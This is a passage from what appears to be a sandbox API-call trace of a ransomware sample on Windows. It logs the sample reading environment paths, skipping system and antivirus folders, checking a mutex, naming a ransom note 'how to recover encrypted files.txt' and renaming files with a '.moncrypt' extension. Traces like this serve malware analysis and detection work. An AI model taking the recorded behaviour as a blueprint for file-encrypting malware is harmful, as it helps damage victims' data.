files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.301] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0046.301] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.301] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0046.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0046.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.302] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0046.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.302] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0046.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.302] GlobalLock (hMem=0x440004) returned 0x552180 [0046.302] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.302] GlobalUnlock (hMem=0x440004) returned 0 [0046.302] GlobalLock (hMem=0x440004) returned 0x552180 [0046.302] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.302] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.302] GlobalUnlock (hMem=0x440004) returned 0 [0046.302] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.302] GlobalUnlock (hMem=0x44000c) returned 0 [0046.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0046.303] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0046.303] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.303] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0046.303] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0046.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0046.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0046.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0046.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0046.304] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.305] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.305] GlobalUnlock (hMem=0x44000c) returned 0 [0046.305] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.305] GlobalLock (hMem=0x440004) returned 0x554190 [0046.305] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.305] GlobalUnlock (hMem=0x44000c) returned 0 [0046.305] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.305] GlobalUnlock (hMem=0x440004) returned 0 [0046.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d98, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.305] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.305] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0046.305] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.305] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.305] GlobalLock (hMem=0x440004) returned 0x553188 [0046.305] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.305] GlobalUnlock (hMem=0x440004) returned 0 [0046.305] GlobalLock (hMem=0x440004) returned 0x553188 [0046.305] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.305] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.305] GlobalUnlock (hMem=0x440004) returned 0 [0046.305] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.305] GlobalUnlock (hMem=0x44000c) returned 0 [0046.305] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.306] CharLowerBuffW (in: lpsz="auxbase.xml", cchLength=0xb | out: lpsz="auxbase.xml") returned 0xb [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aç\x18", lpUsedDefaultChar=0x0) returned 1 [0046.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", cchWideChar=83, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpUsedDefaultChar=0x0) returned 83 [0046.306] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.306] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpUsedDefaultChar=0x0) returned 4 [0046.306] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0046.307] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dc8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0046.308] CloseHandle (hObject=0x190) returned 1 [0046.308] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\я")) returned 1 [0046.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0x54e280 [0046.309] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0046.309] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0046.309] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0046.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml", dwFileAttributes=0x20) returned 0 [0046.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0046.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.moncrypt")) returned 0 [0046.311] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0046.311] GetLastError () returned 0x12 [0046.311] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.311] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.311] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.311] GlobalUnlock (hMem=0x44000c) returned 0 [0046.311] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.311] GlobalLock (hMem=0x440004) returned 0x554190 [0046.311] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.311] GlobalUnlock (hMem=0x44000c) returned 0 [0046.311] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.311] GlobalUnlock (hMem=0x440004) returned 0 [0046.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61dd8, cbMultiByte=3, lpWideCharStr=0x18d758, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\") returned 3 [0046.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3cfce660, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3cfce660, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0046.311] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0046.311] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.311] GlobalLock (hMem=0x440004) returned 0x552180 [0046.311] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.312] GlobalUnlock (hMem=0x440004) returned 0 [0046.312] GlobalLock (hMem=0x440004) returned 0x552180 [0046.312] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.312] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.312] GlobalUnlock (hMem=0x440004) returned 0 [0046.312] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.312] GlobalUnlock (hMem=0x44000c) returned 0 [0046.312] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.312] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3cfce660, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3cfce660, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.312] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.312] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.312] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.312] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.312] GlobalUnlock (hMem=0x44000c) returned 0 [0046.312] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.312] GlobalLock (hMem=0x440004) returned 0x555198 [0046.312] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.312] GlobalUnlock (hMem=0x44000c) returned 0 [0046.312] GlobalHandle (pMem=0x555198) returned 0x440004 [0046.312] GlobalUnlock (hMem=0x440004) returned 0 [0046.312] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.312] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 1 [0046.312] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0046.312] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0046.312] GlobalLock (hMem=0x440004) returned 0x553188 [0046.312] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.312] GlobalUnlock (hMem=0x440004) returned 0 [0046.312] GlobalLock (hMem=0x440004) returned 0x553188 [0046.313] GlobalLock (hMem=0x44000c) returned 0x555198 [0046.313] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.313] GlobalUnlock (hMem=0x440004) returned 0 [0046.313] GlobalHandle (pMem=0x555198) returned 0x44000c [0046.313] GlobalUnlock (hMem=0x44000c) returned 0 [0046.313] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.313] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2d7bf7, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2d7bf7, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2d7bf7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x59a, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxbase.xml", cAlternateFileName="")) returned 0 [0046.313] GetLastError () returned 0x12 [0046.313] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.313] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f2b1a99, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8f2b1a99, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8f2b1a99, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0046.313] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.313] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.313] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.313] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.313] GlobalUnlock (hMem=0x44000c) returned 0 [0046.313] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.313] GlobalLock (hMem=0x440004) returned 0x554190 [0046.313] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.313] GlobalUnlock (hMem=0x44000c) returned 0 [0046.313] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.313] GlobalUnlock (hMem=0x440004) returned 0 [0046.314] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.314] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, 